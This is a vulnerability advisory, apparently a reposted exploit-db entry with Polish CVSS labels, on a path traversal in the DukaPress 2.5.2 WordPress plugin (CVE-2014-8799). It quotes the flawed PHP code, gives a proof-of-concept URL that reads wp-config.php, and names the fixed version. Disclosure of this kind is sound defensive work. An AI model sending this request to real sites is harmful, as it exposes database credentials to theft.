DukaPress 2.5.2 Path Traversal

2014.11.29

Credit: Kacper Szurek

Risk: High

Local: No

Remote: Yes

CVE: CVE-2014-8799

CWE: CWE-22

Ogólna skala CVSS: 5/10

Znaczenie: 2.9/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Brak

Wpływ na dostępność: Brak

# Exploit Title: DukaPress 2.5.2 Path Traversal
# Date: 27-10-2014
# Exploit Author: Kacper Szurek - http://security.szurek.pl
# Software Link: https://downloads.wordpress.org/plugin/dukapress.2.5.2.zip
# Category: webapps
# CVE: CVE-2014-8799
  
1. Description

dp_img_resize() returns $_REQUEST['src'] if $_REQUEST['w'] and $_REQUEST['h'] doesn't exist.

File: dukapress\lib\dp_image.php
if (!function_exists('add_action')) {
    require_once('../../../../wp-load.php');
}

echo file_get_contents(dp_img_resize('', $_REQUEST['src'],$_REQUEST['w'], $_REQUEST['h']));
 
http://security.szurek.pl/dukapress-252-path-traversal.html
  
2. Proof of Concept
  
http://wordpress-url/wp-content/plugins/dukapress/lib/dp_image.php?src=../../../../wp-config.php
  
3. Solution:
  
Update to version 2.5.4

https://downloads.wordpress.org/plugin/dukapress.2.5.4.zip
https://plugins.trac.wordpress.org/changeset/1024640/dukapress

Referencje:

http://security.szurek.pl/dukapress-252-path-traversal.html

http://xforce.iss.net/xforce/xfdb/98943

https://wordpress.org/plugins/dukapress/changelog/

http://www.exploit-db.com/exploits/35346

https://plugins.trac.wordpress.org/changeset/1024640/dukapress

See this note in RAW Version

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DukaPress 2.5.2 Path Traversal

Referencje:

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